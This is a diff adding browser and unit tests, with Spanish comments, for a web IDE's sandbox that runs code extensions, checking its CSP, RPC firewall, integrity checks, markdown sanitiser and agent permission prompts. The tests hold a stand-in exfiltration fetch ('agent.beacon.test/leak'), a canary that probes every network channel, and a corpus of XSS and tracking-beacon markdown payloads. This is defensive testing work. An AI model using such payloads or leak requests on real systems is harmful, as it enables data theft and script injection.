325+ const after = await page.evaluate(() => ({ frames: document.querySelectorAll('#md-preview-pane iframe').length, preview: !!document.querySelector('#tabs-bar .tab.tab-preview'), editor: getComputedStyle(document.getElementById('editor')).display }));
326+ ok('H3 Cancelar: sin vista previa, se queda el código fuente', after.frames === 0 && !after.preview && after.editor !== 'none', JSON.stringify(after));
327+ await previewVia();
328+ await until(() => page.evaluate(() => !!document.querySelector('#x2-preview')));
329+ await page.click('#x2-preview button:has-text("Preview anyway")');
330+ const shown = await until(() => page.evaluate(() => document.querySelectorAll('#md-preview-pane iframe').length === 1 && !!document.querySelector('#tabs-bar .tab.tab-preview')));
331+ const cleared = await page.evaluate(async () => !((await (await import('/js/db.js')).get('kv', 'x2.touched')) || {})['page.html']);
332+ ok('H4 «Previsualizar igualmente» la enseña y quita la marca', !!shown && cleared);
333+ await previewVia(/^(Ver código fuente|View source)$/); // vuelve al código
334+ // el agente: web.fetch y un runtime del Bridge preguntan; Denegar por defecto
335+ await page.evaluate(() => { window.__x2fetch = import('/js/tools/index.js').then(m => m.TOOLS['web.fetch'].run({ url: 'https://agent.beacon.test/leak?d=1' })); });
336+ const agentDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-agent [role="dialog"]'); return d ? { code: d.querySelector('.x2-code').textContent, focused: document.activeElement?.textContent } : null; }));
337+ ok('H5 web.fetch del agente pregunta enseñando la URL entera (Denegar por defecto)', !!agentDlg && agentDlg.code === 'https://agent.beacon.test/leak?d=1' && agentDlg.focused === 'Deny', JSON.stringify(agentDlg));
338+ await page.keyboard.press('Escape');
339+ ok('H6 denegado: el agente recibe que el usuario no lo permitió', (await page.evaluate(() => window.__x2fetch)) === 'The user did not allow this request.');
340+ await page.evaluate(() => { window.__x2run = import('/js/tools/index.js').then(m => m.TOOLS['terminal.run'].run({ command: 'ls && node -e "1"' })); });
341+ const runDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-agent [role="dialog"]'); return d ? d.querySelector('.x2-code').textContent : null; }));
342+ ok('H7 una orden con un runtime del Bridge (aunque no vaya primero) pregunta con la orden entera', runDlg === 'ls && node -e "1"', String(runDlg));
343+ await page.keyboard.press('Escape');
344+ ok('H8 denegada', (await page.evaluate(() => window.__x2run)) === 'The user did not allow this request.');
345+ const ls = await page.evaluate(async () => (await import('/js/tools/index.js')).TOOLS['terminal.run'].run({ command: 'ls' }));
346+ ok('H9 una orden del shell de Code sin runtime no pregunta', /app\.js/.test(ls) && !(await page.evaluate(() => !!document.querySelector('#x2-agent'))), String(ls).slice(0, 80));
347+ // Cmd+clic en un enlace del editor, en modo extensiones: el mismo diálogo
348+ await open(page, 'fruits.txt');
349+ await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.getModel().setValue('see https://link.beacon.test/p?q=1 now\n'); ed.setPosition({ lineNumber: 1, column: 12 }); ed.focus(); });
350+ await sleep(400);
351+ await page.evaluate(() => window.monaco.editor.getEditors()[0].getAction('editor.action.openLink').run());
352+ const linkDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-open [role="dialog"]'); return d ? { code: d.querySelector('.x2-code').textContent, text: d.textContent } : null; }));
353+ ok('H10 un enlace del editor pregunta con la dirección entera', !!linkDlg && linkDlg.code === 'https://link.beacon.test/p?q=1' && /links in the editor ask first/.test(linkDlg.text), JSON.stringify(linkDlg));
354+ await page.keyboard.press('Escape');
355+ await page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().setValue('pear\napple\nfig\n'));
356+ await sleep(500);
357+ ok('H11 nada de esto llegó a la baliza', beacon.hits.length === 0, JSON.stringify(beacon.hits));
358+ await open(page, 'app.js');
359+
360+ // antes del canario: sus intentos fallidos a propósito sí dejan errores
361+ const realErrors = errors.slice();
362+ ok('C22 sin errores de página en todo lo anterior', realErrors.length === 0, realErrors.slice(0, 3).join(' | '));
363+ // canario básico: desde el worker de extensiones, ningún canal sale. Su
364+ // openExternal abre el diálogo de la dirección: enseña la URL entera y se cancela
365+ beacon.hits.length = 0;
366+ await page.evaluate(port => { window.__x2canary = import('/js/ext2/bridge.js').then(b => b.runCommand('x2canary.report', port)); }, beacon.port);
367+ const openDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-open [role="dialog"]'); return d ? { code: d.querySelector('.x2-code')?.textContent, focused: document.activeElement?.textContent, buttons: [...d.querySelectorAll('button')].map(b => b.textContent) } : null; }));
368+ ok('C22b openExternal: diálogo con la dirección entera, Cancelar con el foco', !!openDlg && openDlg.code === `http://open.beacon.test:${beacon.port}/x2-canary/open` && openDlg.focused === 'Cancel'
369+ && openDlg.buttons.join() === 'Cancel,Copy address,Open in new tab,Block requests for this session', JSON.stringify(openDlg));
370+ await page.keyboard.press('Escape');
371+ const report = JSON.parse(await page.evaluate(() => window.__x2canary) || '[]');
372+ await sleep(1500);
373+ const allowed = report.filter(r => r.outcome === 'ALLOWED' && !/^own: /.test(r.detail) && !['caches', 'asExternalUri', 'openExternal', 'clipboard-api'].includes(r.channel));
374+ ok('C23 canario: cada canal de red del worker bloqueado', report.length >= 15 && allowed.length === 0, JSON.stringify(allowed));
375+ ok('C24 canario: no ve el almacenamiento de Code (IndexedDB, OPFS)', report.filter(r => ['indexedDB', 'opfs'].includes(r.channel)).every(r => !/SAW CODE/.test(r.detail)), JSON.stringify(report.filter(r => ['indexedDB', 'opfs'].includes(r.channel))));
376+ ok('C25 canario: openExternal no abre nada; el portapapeles se lee vacío', report.find(r => r.channel === 'openExternal')?.detail === 'refused' && /read 0 chars/.test(report.find(r => r.channel === 'clipboard-api')?.detail || ''), JSON.stringify(report.filter(r => /open|clip/.test(r.channel))));
377+ ok('C26 baliza: 0 visitas', beacon.hits.length === 0, JSON.stringify(beacon.hits));
378+
379+ // cortafuegos de RPC: lo que no está en la lista se rechaza, la extensión
380+ // recibe el error y la página lo cuenta
381+ const deny = JSON.parse(await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('x2deny.report')) || '{}');
382+ ok('C26b guardar desde una extensión: rechazado por el cortafuegos', /does not let extensions call MainThreadWorkspace\.\$saveAll/.test(deny.saveAll || ''), JSON.stringify(deny));
383+ const dn = await until(async () => { const d = (await bridgeState(page)).denials; return d.top.some(([k]) => k === 'MainThreadWebviewPanels.$createWebviewPanel') ? d : null; });
384+ ok('C26c la página cuenta los rechazos (webview incluida)', !!dn && dn.n >= 2 && dn.top.some(([k]) => k === 'MainThreadWorkspace.$saveAll'), JSON.stringify(dn));
385+
386+ // foto de la superficie de la API
387+ const surface = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).surface());
388+ const snapFile = path.join(HERE, 'x2-surface.json');
389+ // fuera los comandos de las pruebas y los internos con nombre aleatorio (__vsc<uuid>)
390+ const snap = surface ? { actors: surface.actors, overridden: surface.overridden, commands: surface.commands.filter(c => !/^(x2|elffuss)/.test(c) && !/^__vsc[0-9a-f-]{36}$/.test(c)) } : null;
391+ if (UPDATE && snap) fs.writeFileSync(snapFile, JSON.stringify(snap, null, 1) + '\n');
392+ const prev = fs.existsSync(snapFile) ? JSON.parse(fs.readFileSync(snapFile, 'utf8')) : null;
393+ ok('C27 la superficie de la API coincide con tests/x2-surface.json', !!snap && !!prev && JSON.stringify(prev) === JSON.stringify(snap),
394+ !prev ? 'no snapshot (run with --update)' : snap ? `actors ${Object.keys(snap.actors).length} vs ${Object.keys(prev.actors).length}, commands ${snap.commands.length} vs ${prev.commands.length}` : 'no surface');
395+ ok('C28 del recinto solo se pidieron sus dos documentos', [...new Set(sandboxRequests(srv, since))].every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sandboxRequests(srv, since).join(' '));
396+
397+ // ── F. apagar la última extensión de código lo desmonta todo ──
398+ await page.evaluate(async () => {
399+ const host = await (await import('/js/ide.js')).loadExt();
400+ for (const e of host.list()) if (e.runs) await host.setRuns(e.id, false);
401+ });
402+ const gone = await until(() => page.evaluate(() => !document.getElementById('x2-sandbox')));
403+ ok('F1 sin extensiones de código, el iframe desaparece', !!gone);
404+ const leftovers = await page.evaluate(() => {
405+ const ed = window.monaco.editor.getEditors()[0];
406+ return { actions: ed.getSupportedActions().filter(a => /:x2:/.test(a.id)).length, markers: window.monaco.editor.getModelMarkers({}).filter(m => m.owner.startsWith('x2:')).length, palette: (window.elffussClaw?.commands || []).filter(c => c.x2).length };
407+ });
408+ ok('F2 sin acciones, diagnósticos ni entradas de paleta de extensiones', leftovers.actions === 0 && leftovers.markers === 0 && leftovers.palette === 0, JSON.stringify(leftovers));
409+ const toolsBack = await page.evaluate(async () => { const { TOOLS } = await import('/js/tools/index.js'); return ['web.fetch', 'web.search', 'terminal.run'].map(n => String(TOOLS[n].run)); });
410+ ok('F2b las herramientas del agente vuelven a ser las de siempre', /fetchUrl/.test(toolsBack[0]) && /web\.search/.test(toolsBack[1]) && /runForAgent/.test(toolsBack[2]), toolsBack.map(s => s.slice(0, 40)).join(' | '));
411+ await page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.getModel().setValue('// c d\nlet c = 3;\n'); await ed.getAction('editor.action.formatDocument').run(); });
412+ await sleep(1500);
413+ ok('F3 vuelve el formateador de serie (el de la extensión ya no actúa)', (await value(page)) === '// c d\nlet c = 3;\n', JSON.stringify(await value(page)));
414+ await ctx.close();
415+}
416+
417+// ── D. bundle manipulado ──
418+{
419+ const bad = await startServer({ tamper: true });
420+ const { ctx, page } = await freshPage(bad);
421+ await seed(page, [NOOP]);
422+ const since = bad.requests.length;
423+ await openIde(page, bad);
424+ const s = await waitRunning(page);
425+ ok('D1 un .gz manipulado: el nivel 2 se niega (integridad)', s?.state === 'error' && s.error?.code === 'integrity', JSON.stringify(s));
426+ ok('D2 sin iframe y sin una sola petición al recinto', !(await page.evaluate(() => !!document.getElementById('x2-sandbox'))) && sandboxRequests(bad, since).length === 0);
427+ await ctx.close();
428+ await bad.close();
429+}
430+
431+// ── E. interruptores ──
432+for (const q of ['?test-opfs&noext2', '?test-opfs&noext']) {
433+ const { ctx, page, requests } = await freshPage();
434+ await seed(page, [NOOP]);
435+ requests.length = 0;
436+ await openIde(page, srv, q);
437+ await open(page, 'app.js');
438+ await sleep(1500);
439+ ok(`E ${q.split('&')[1]}: 0 peticiones del nivel 2`, !requests.some(L2), requests.filter(L2).join(' '));
440+ await ctx.close();
441+}
442+{
443+ const { ctx, page, requests } = await freshPage();
444+ await ctx.route('**/js/ext2/vendor-manifest.json', async route => {
445+ const r = await route.fetch();
446+ const j = await r.json();
447+ await route.fulfill({ response: r, body: JSON.stringify({ ...j, enabled: false }) });
448+ });
449+ await seed(page, [NOOP]);
450+ requests.length = 0;
451+ await openIde(page);
452+ const s = await waitRunning(page);
453+ ok('E interruptor del manifiesto: parado y sin bajar el bundle', s?.state === 'error' && s.error?.code === 'off' && !requests.some(u => u.includes('/vendor/x2/')), JSON.stringify(s?.error));
454+ await ctx.close();
455+}
456+
457+// ── G. controles positivos: la prueba sabe ver una fuga ──
458+{
459+ // sin ninguna CSP, el propio recinto se niega a arrancar (autoprueba)
460+ const naked = await startServer({ insecure: 'all' });
461+ const { ctx, page } = await freshPage(naked);
462+ await seed(page, [NOOP]);
463+ await openIde(page, naked);
464+ const s = await waitRunning(page);
465+ ok('G1 sin CSP en el recinto, su autoprueba no le deja arrancar', s?.state === 'error' && s.error?.code === 'csp', JSON.stringify(s?.error));
466+ await ctx.close();
467+ await naked.close();
468+}
469+{
470+ // sin la CSP del host de extensiones, el mismo canario SÍ llega a la baliza
471+ const open2 = await startServer({ insecure: 'exthost' });
472+ const { ctx, page } = await freshPage(open2);
473+ await seed(page, [CANARY]);
474+ await openIde(page, open2);
475+ await open(page, 'app.js');
476+ const s = await waitRunning(page);
477+ beacon.hits.length = 0;
478+ let report = [];
479+ if (s?.state === 'running') {
480+ await until(async () => (await bridgeState(page)).extensions.some(e => e.state === 'active'), { timeout: 20000 });
481+ await page.evaluate(port => { window.__x2canary = import('/js/ext2/bridge.js').then(b => b.runCommand('x2canary.report', port)); }, beacon.port);
482+ if (await until(() => page.evaluate(() => !!document.querySelector('#x2-open')))) await page.keyboard.press('Escape');
483+ report = JSON.parse(await page.evaluate(() => window.__x2canary) || '[]');
484+ await sleep(1500);
485+ }
486+ ok('G2 sin la CSP del host de extensiones, el canario llega a la baliza', beacon.hits.length > 0 && report.some(r => r.outcome === 'ALLOWED' && r.channel === 'fetch'), `hits ${beacon.hits.length}, state ${s?.state}`);
487+ await ctx.close();
488+ await open2.close();
489+}
490+
491+await browser.close();
492+await beacon.close();
493+await srv.close();
494+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
495+process.exit(fails ? 1 : 0);
added tests/x2_unit.mjs +486 −0
@@ -0,0 +1,486 @@
1+// Nivel 2 (código de extensiones en el recinto): pruebas sin navegador.
2+//
3+// node tests/x2_unit.mjs
4+//
5+// Protocolo (validadores, datos planos), texto de las extensiones (markdown
6+// canónico sobre un corpus hostil, texto plano, ${CLIPBOARD}), conversión de
7+// resultados a Monaco, atajos y combinaciones reservadas, selectores y glob en
8+// tiempo lineal, cabeceras del recinto (ningún host en ninguna directiva de
9+// red, hashes que cuadran), manifiesto del bundle y manifiesto que ve el
10+// recinto.
11+import fs from 'node:fs';
12+import path from 'node:path';
13+import { fileURLToPath } from 'node:url';
14+import { validate, isPlainData, LIMITS } from '../web/js/ext2/protocol.js';
15+import { canonicalMarkdown, plainText, markdownFromText, stripClipboard, segments } from '../web/js/ext2/sanitize.js';
16+import * as convert from '../web/js/ext2/convert.js';
17+import { parseKeybinding, reservedChords } from '../web/js/ext2/keys.js';
18+import { commandsOf } from '../web/js/ext2/commands.js';
19+import { globMatch, compileSelector, selectorMatches } from '../web/js/ext2/features.js';
20+import { validManifest, ROLES } from '../web/js/ext2/vendor.js';
21+import { sandboxOrigin, sameSite, siteOf } from '../web/js/ext2/config.js';
22+import { check as checkHeaders, loadSpec, cspFor, queryAllowed, originsFor, expectedMeta } from '../sandbox/x2/headers.mjs';
23+
24+const HERE = path.dirname(fileURLToPath(import.meta.url));
25+const REPO = path.resolve(HERE, '..');
26+let fails = 0, n = 0;
27+const ok = (name, c, extra = '') => { n++; console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
28+
29+// ── un Monaco mínimo para convert.js ──
30+class Range { constructor(a, b, c, d) { this.startLineNumber = a; this.startColumn = b; this.endLineNumber = c; this.endColumn = d; } }
31+const monaco = { Range, KeyCode: {}, KeyMod: { chord: (a, b) => (a | (b << 16)) >>> 0 } };
32+// KeyCode de Monaco 0.52 (los que usa keys.js)
33+Object.assign(monaco.KeyCode, { Backspace: 1, Tab: 2, Enter: 3, Escape: 9, Space: 10, PageUp: 11, PageDown: 12, End: 13, Home: 14, LeftArrow: 15, UpArrow: 16, RightArrow: 17, DownArrow: 18, Insert: 19, Delete: 20,
34+ Digit0: 21, Digit1: 22, Digit2: 23, Digit3: 24, Digit4: 25, Digit5: 26, Digit6: 27, Digit7: 28, Digit8: 29, Digit9: 30,
35+ ...Object.fromEntries('ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('').map((c, i) => ['Key' + c, 31 + i])),
36+ ...Object.fromEntries(Array.from({ length: 19 }, (_, i) => ['F' + (i + 1), 59 + i])),
37+ Semicolon: 85, Equal: 86, Comma: 87, Minus: 88, Period: 89, Slash: 90, Backquote: 91, BracketLeft: 92, Backslash: 93, BracketRight: 94, Quote: 95 });
38+function model(text) {
39+ const lines = text.split('\n');
40+ return {
41+ validateRange(r) {
42+ const cl = l => Math.min(Math.max(1, l), lines.length);
43+ const sl = cl(r.startLineNumber), el = cl(r.endLineNumber);
44+ const cc = (l, c) => Math.min(Math.max(1, c), lines[l - 1].length + 1);
45+ return new Range(sl, cc(sl, r.startColumn), el, cc(el, r.endColumn));
46+ },
47+ getWordUntilPosition: p => ({ startColumn: p.column, endColumn: p.column, word: '' }),
48+ uri: { toString: () => 'inmemory://model/1' },
49+ };
50+}
51+
52+// ── 1. protocolo ──
53+ok('ready válido', validate({ t: 'ready', protocol: 1, vscode: '1.138.0' }).ok);
54+ok('tipo desconocido se rechaza', !validate({ t: 'eval', code: 'x' }).ok);
55+ok('protocolo distinto se rechaza', !validate({ t: 'ready', protocol: 2, vscode: '1' }).ok);
56+ok('doc.edit con URI que no es file:///', !validate({ t: 'doc.edit', uri: 'https://x.test/a', base: 1, steps: [] }).ok);
57+ok('doc.edit con rango malo', !validate({ t: 'doc.edit', uri: 'file:///a.js', base: 1, steps: [[{ range: [0, 1, 1, 1], text: '' }]] }).ok);
58+ok('doc.edit bueno', validate({ t: 'doc.edit', uri: 'file:///a.js', base: 3, steps: [[{ range: [1, 1, 1, 2], text: 'x' }]] }).ok);
59+ok('ctx.set con clave rara', !validate({ t: 'ctx.set', key: 'a b<script>', value: true }).ok);
60+ok('ctx.set con objeto', !validate({ t: 'ctx.set', key: 'k', value: { a: 1 } }).ok);
61+ok('providers.add con tipo desconocido', !validate({ t: 'providers.add', handle: 1, kind: 'webview', selector: [], meta: {} }).ok);
62+ok('mensaje de más de 1 MB', !validate({ t: 'log', level: 'info', text: 'x'.repeat(10), pad: 'y'.repeat(LIMITS.message) }).ok);
63+ok('prototipo raro no pasa', !validate(Object.create({ t: 'ready' })).ok);
64+ok('ui.notify: texto y botones como cadenas; severidad conocida', validate({ t: 'ui.notify', req: 1, sev: 'warning', text: '<b>x</b>', actions: ['Yes', 'No'], source: 'pub.ext' }).ok
65+ && !validate({ t: 'ui.notify', req: 1, sev: 'html', text: 'x', actions: [] }).ok && !validate({ t: 'ui.notify', req: 1, sev: 'info', text: 'x', actions: ['1', '2', '3', '4', '5', '6'] }).ok
66+ && !validate({ t: 'ui.notify', req: 1, sev: 'info', text: 'x', actions: [{ label: 'x' }] }).ok);
67+ok('ui.pick: separadores solos, opciones con texto', validate({ t: 'ui.pick', req: 2, items: [{ sep: 'g' }, { label: 'a', description: 'd', picked: true }], options: { canPickMany: false } }).ok
68+ && !validate({ t: 'ui.pick', req: 2, items: [{ sep: 'g', label: 'x' }], options: { canPickMany: false } }).ok && !validate({ t: 'ui.pick', req: 2, items: [{ label: 1 }], options: { canPickMany: false } }).ok);
69+ok('open.request: dirección con tope de 8 KB', validate({ t: 'open.request', req: 3, url: 'https://x.test/' }).ok && !validate({ t: 'open.request', req: 3, url: 'https://x.test/' + 'a'.repeat(9000) }).ok);
70+ok('clipboard.write con tope; selección y desplazamiento con rangos válidos', !validate({ t: 'clipboard.write', text: 'x'.repeat(500001) }).ok && validate({ t: 'clipboard.write', text: 'x' }).ok
71+ && validate({ t: 'editor.selection', uri: 'file:///a.js', selections: [[1, 1, 1, 3]] }).ok && !validate({ t: 'editor.selection', uri: 'file:///a.js', selections: [] }).ok
72+ && !validate({ t: 'editor.reveal', uri: 'https://x.test/a', range: [1, 1, 1, 1] }).ok);
73+ok('resultados y ediciones pueden traer un documento entero; el resto, 1 MB', validate({ t: 'result', req: 1, ok: true, value: 'x'.repeat(3 << 20) }).ok
74+ && !validate({ t: 'result', req: 1, ok: true, value: 'x'.repeat(9 << 20) }).ok && !validate({ t: 'log', level: 'info', text: 'x', pad: 'x'.repeat(1 << 20) }).ok);
75+const { fit, externalString } = await import('../web/js/ext2/sandbox-relay.js');
76+// un vscode.Uri de mentira con las dos formas de VS Code: toString() codifica «=», «&» y «+»; toString(true), no
77+const fakeUri = { toString: skip => (skip ? 'https://github.com/search?q=word+word&type=code&p=a b' : 'https://github.com/search?q%3Dword%2Bword%26type%3Dcode%26p%3Da%20b') };
78+ok('abrir una dirección: un URI se abre como VS Code (encodeURI(toString(true))) y un texto, tal cual', externalString(fakeUri) === 'https://github.com/search?q=word+word&type=code&p=a%20b'
79+ && externalString('https://x.test/?a=1&b=2') === 'https://x.test/?a=1&b=2' && externalString({ toString: () => 'https://y.test/' }) === 'https://y.test/' && externalString(null) === '', externalString(fakeUri));
80+const bigDeco = { t: 'deco.set', key: 'k', uri: 'file:///a.js', ranges: Array.from({ length: 10000 }, () => ({ range: [1, 1, 1, 2], hover: [{ md: 'x'.repeat(4000) }] })) };
81+const fitted = fit(bigDeco);
82+ok('el recinto recorta antes de mandar: decoraciones sin sus textos largos, resultados enormes como error', validate(fitted).ok && fitted.ranges.length === 10000 && !fitted.ranges[0].hover
83+ && fit({ t: 'result', req: 2, ok: true, value: 'x'.repeat(9 << 20) }).ok === false && fit({ t: 'log', level: 'info', text: 'x'.repeat(1 << 20) }) === null);
84+ok('isPlainData: objetos y ArrayBuffer', isPlainData({ a: [1, 'x', null, { b: new ArrayBuffer(2) }] }));
85+ok('isPlainData: rechaza funciones, Map y objetos con prototipo', !isPlainData({ f() {} }) && !isPlainData(new Map()) && !isPlainData({ d: new Date() }));
86+ok('isPlainData: rechaza NaN', !isPlainData({ n: NaN }));
87+
88+// ── 2. markdown canónico sobre un corpus hostil ──
89+const HOSTIL = [
90+ '![i](https://beacon.test/a.png)', '[l](https://beacon.test/b)', '<img src=https://beacon.test/c.png>', '<a href="https://beacon.test">x</a>',
91+ 'https://beacon.test/auto', 'www.beacon.test', '<https://beacon.test/angle>', '[ref][1]\n\n[1]: https://beacon.test/ref', '![i][r]\n[r]: https://beacon.test/r.png',
92+ '<style>@import url(https://beacon.test/s.css)</style>', 'javascript:alert(1)', '[x](command:workbench.action.reloadWindow)', '# título\n*em* _em_ **b**',
93+ '&lt;img src=x&gt;', '<!-- c -->', '<svg onload=alert(1)>', 'text‮bidi', '`code` and ``co`de``', '```\n<img src=https://beacon.test/f.png>\n```',
94+ '~~~html\n<script>x</script>\n~~~', ' indented <img src=https://beacon.test/i.png>', '>quote [l](https://beacon.test/q)',
95+];
96+// La propiedad que importa, comprobada sobre el markdown que sale (como lo
97+// lee CommonMark): fuera del código (en línea o vallado) y de los escapes con
98+// barra, no queda ningún carácter que pueda abrir un enlace, una imagen, un
99+// autoenlace, HTML, énfasis o un título.
100+const unescapedDangerous = md => {
101+ let i = 0;
102+ while (i < md.length) {
103+ if (i === 0 || md[i - 1] === '\n') {
104+ const f = /^(`{3,})[^\n`]*\n/.exec(md.slice(i));
105+ if (f) {
106+ const close = md.indexOf('\n' + f[1], i + f[0].length - 1);
107+ if (close < 0) return 'unclosed fence';
108+ i = close + 1 + f[1].length;
109+ continue;
110+ }
111+ }
112+ const c = md[i];
113+ if (c === '\\') { i += 2; continue; }
114+ if (c === '`') {
115+ let n = 0; while (md[i + n] === '`') n++;
116+ let j = i + n, close = -1;
117+ while ((j = md.indexOf('`'.repeat(n), j)) !== -1) { if (md[j + n] !== '`' && md[j - 1] !== '`') { close = j; break; } j += n; }
118+ if (close < 0) return 'unclosed code span at ' + i;
119+ i = close + n;
120+ continue;
121+ }
122+ if ('[]()<>!:*_#&~|'.includes(c)) return md.slice(Math.max(0, i - 10), i + 10);
123+ i++;
124+ }
125+ return null;
126+};
127+let hostilOk = true;
128+for (const src of HOSTIL) {
129+ const out = canonicalMarkdown(src);
130+ const bad = unescapedDangerous(out.value);
131+ if (bad || out.isTrusted || out.supportHtml || out.supportThemeIcons) { hostilOk = false; console.log(' ✗', JSON.stringify(src), '→', JSON.stringify(out.value), bad); }
132+}
133+ok(`markdown canónico: ${HOSTIL.length} entradas hostiles sin puntuación sin escapar`, hostilOk);
134+// generadas: mezclas aleatorias de piezas peligrosas
135+let seed = 7;
136+const rnd = k => { seed = (seed * 1103515245 + 12345) & 0x7fffffff; return seed % k; };
137+const PIEZAS = ['![', '](', ')', '[', ']', '<', '>', 'http://', 'https://beacon.test/', '`', '```', '\n', ' ', 'a', '*', '_', '#', '&', ';', '\\', '~~~', '!', ':'];
138+let genOk = true;
139+for (let k = 0; k < 2000; k++) {
140+ let src = '';
141+ for (let j = 0, len = 1 + rnd(30); j < len; j++) src += PIEZAS[rnd(PIEZAS.length)];
142+ const out = canonicalMarkdown(src).value;
143+ if (unescapedDangerous(out)) { genOk = false; console.log(' ✗ generado', JSON.stringify(src), '→', JSON.stringify(out)); break; }
144+}
145+ok('markdown canónico: 2000 entradas generadas', genOk);
146+ok('el código se conserva como código', canonicalMarkdown('use `<b>` here').value.includes('`<b>`'));
147+ok('bloque vallado con lenguaje raro → sin lenguaje', /^```\n/m.test(canonicalMarkdown('```js onload=x\na\n```').value) || canonicalMarkdown('```j$\na\n```').value.includes('```\na'));
148+ok('markdownFromText escapa todo', markdownFromText('[a](b) <c>').value === '\\[a\\]\\(b\\) \\<c\\>');
149+ok('texto plano: imagen → alt, enlace → «t (u)»', plainText('x ![alt](https://beacon.test/i.png) [docs](https://d.test/x) <b>y</b>') === 'x alt docs (https://d.test/x) y');
150+ok('CLIPBOARD fuera del snippet', stripClipboard('a$CLIPBOARD b${CLIPBOARD} c${CLIPBOARD:${1:x}} d${1:$CLIPBOARD}') === 'a b c d${1:}');
151+ok('CLIPBOARD escapado se queda', stripClipboard('\\$CLIPBOARD') === '\\$CLIPBOARD' && stripClipboard('$CLIPBOARDS') === '$CLIPBOARDS');
152+
153+// ── 3. conversión a Monaco ──
154+const m1 = model('const a = 1;\nfunction f() {}\n');
155+const te = convert.textEdits(monaco, m1, [{ range: [1, 1, 1, 99], text: 'x' }, { range: [0, 1, 1, 1], text: 'bad' }, { range: [1, 1, 1, 1] }, null]);
156+ok('ediciones: rango recortado, inválidas fuera', te.length === 1 && te[0].range.endColumn === 14);
157+const hv = convert.hover(monaco, m1, { contents: [{ md: '![x](https://beacon.test/h.png)' }, { text: '<b>t</b>' }, { evil: 1 }], range: [1, 1, 1, 3] });
158+ok('hover: markdown canónico, sin confianza ni HTML', hv.contents.length === 2 && hv.contents.every(c => c.isTrusted === false && c.supportHtml === false) && !/\]\(/.test(hv.contents[0].value.replace(/\\./g, '')));
159+const ci = convert.completionItem(monaco, m1, { lineNumber: 1, column: 3 }, { h: 5, label: 'foo', kind: 99, insertText: 'x${CLIPBOARD}y', insertTextRules: 4 | 2, documentation: { md: '[d](https://beacon.test/d)' }, command: { handle: 9, title: 't' }, extra: 'nope', range: [1, 1, 1, 3] });
160+ok('autocompletado: campos validados y reconstruidos', ci.label === 'foo' && ci.kind === 18 && ci.insertText === 'xy' && ci.insertTextRules === 4 && ci.documentation === 'd (https://beacon.test/d)' && !('extra' in ci) && ci.command.id === convert.HANDLE_COMMAND && convert.handleOfItem(ci) === 5);
161+const sy = convert.symbols(monaco, m1, [{ name: 'f', kind: 11, range: [2, 1, 2, 16], selectionRange: [2, 10, 2, 11], children: [{ name: 'g', kind: 99, range: [2, 1, 2, 2] }] }, { name: 'bad' }]);
162+ok('símbolos: válidos con hijos, kind fuera de rango → 0', sy.length === 1 && sy[0].children.length === 1 && sy[0].children[0].kind === 0);
163+const mk = convert.markers(monaco, m1, [{ severity: 4, message: 'x ![i](https://beacon.test/m.png)', code: 'C1', range: [1, 1, 1, 2], target: 'https://beacon.test/t' }, { severity: 99, message: 'y', range: [1, 1, 1, 2] }]);
164+ok('marcadores: mensaje en texto plano, sin destino del código, severidad saneada', mk.length === 2 && mk[0].message === 'x i' && !('target' in mk[0]) && mk[1].severity === 8);
165+const uriOf = () => 'file:///a.js';
166+ok('acción de código que toca otro fichero queda desactivada', !!convert.codeAction(monaco, m1, uriOf, { title: 'fix', edit: { edits: [{ uri: 'file:///other.js', range: [1, 1, 1, 2], text: 'x' }] } }).disabled);
167+ok('acción de código sobre el activo se aplica', !!convert.codeAction(monaco, m1, uriOf, { title: 'fix', edit: { edits: [{ uri: 'file:///a.js', range: [1, 1, 1, 2], text: 'x' }] } }).edit);
168+ok('ubicaciones: solo documentos abiertos', convert.locations(monaco, [{ uri: 'file:///a.js', range: [1, 1, 1, 2] }, { uri: 'file:///b.js', range: [1, 1, 1, 2] }], u => (u === 'file:///a.js' ? m1 : null)).length === 1);
169+
170+// ── 4. atajos ──
171+const kb = (o, plat) => parseKeybinding(monaco, { command: 'c', ...o }, plat);
172+ok('f9 → F9', kb({ key: 'f9' }, 'linux').keybinding === monaco.KeyCode.F9);
173+ok('ctrl+shift+k en Linux = CtrlCmd|Shift|K', kb({ key: 'ctrl+shift+k' }, 'linux').keybinding === (2048 | 1024 | monaco.KeyCode.KeyK));
174+ok('mac: cmd → CtrlCmd y ctrl → WinCtrl', kb({ key: 'ctrl+k', mac: 'cmd+k' }, 'mac').keybinding === (2048 | monaco.KeyCode.KeyK) && kb({ key: 'x', mac: 'ctrl+k' }, 'mac').keybinding === (256 | monaco.KeyCode.KeyK));
175+ok('acordes de dos teclas', kb({ key: 'ctrl+k ctrl+c' }, 'linux').chord.length === 2);
176+ok('Cmd/Ctrl+P reservado', !!kb({ key: 'ctrl+p' }, 'linux').skip && !!kb({ mac: 'cmd+p', key: 'x' }, 'mac').skip);
177+ok('reservados: guardar, F1, ir a símbolo, terminal, deshacer, buscar, cerrar pestaña, 1-9',
178+ ['ctrl+s', 'f1', 'ctrl+shift+o', 'ctrl+`', 'ctrl+z', 'ctrl+f', 'ctrl+w', 'ctrl+5', 'ctrl+shift+p'].every(k => kb({ key: k }, 'linux').skip));
179+ok('tecla desconocida se salta', !!kb({ key: 'ctrl+fooo' }, 'linux').skip);
180+ok('cada atajo saltado trae su código, para decirlo en el idioma de la interfaz', kb({ key: 'ctrl+p' }, 'linux').code === 'reserved' && kb({ key: 'ctrl+fooo' }, 'linux').code === 'unknown'
181+ && kb({ key: 'a b c' }, 'linux').code === 'chords' && kb({ mac: 'cmd+k' }, 'linux').code === 'platform' && parseKeybinding(monaco, null).code === 'invalid' && kb({ key: 'ctrl+k' }, 'linux').code === undefined);
182+ok('reservedChords no vacío', reservedChords(monaco).size > 20);
